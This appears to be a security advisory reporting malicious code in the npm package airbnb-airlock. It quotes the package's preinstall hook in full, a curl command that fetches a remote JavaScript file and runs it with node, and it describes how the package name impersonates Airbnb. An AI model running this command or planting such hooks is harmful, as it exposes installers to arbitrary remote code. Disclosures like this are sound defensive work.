MAL-2026-6293 Malicious code in airbnb-airlock (npm)

The package's preinstall lifecycle hook in package.json runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching an unpinned JavaScript file from poc.amanrawat.com and immediately executing it with node during npm install. The fetched content is mutable and entirely controlled by the operator of that domain — installers run whatever bytes are served at install time, with no hash or signature verification. The package ships no other functional content; the remote fetch-and-execute is its only behavior. The package name uses the 'airbnb-' prefix to impersonate the Airbnb open-source namespace while being published by an unrelated author with a placeholder description ('Test') and an inflated version (99.0.0), consistent with namespace impersonation intended to lure installers searching for Airbnb tooling.
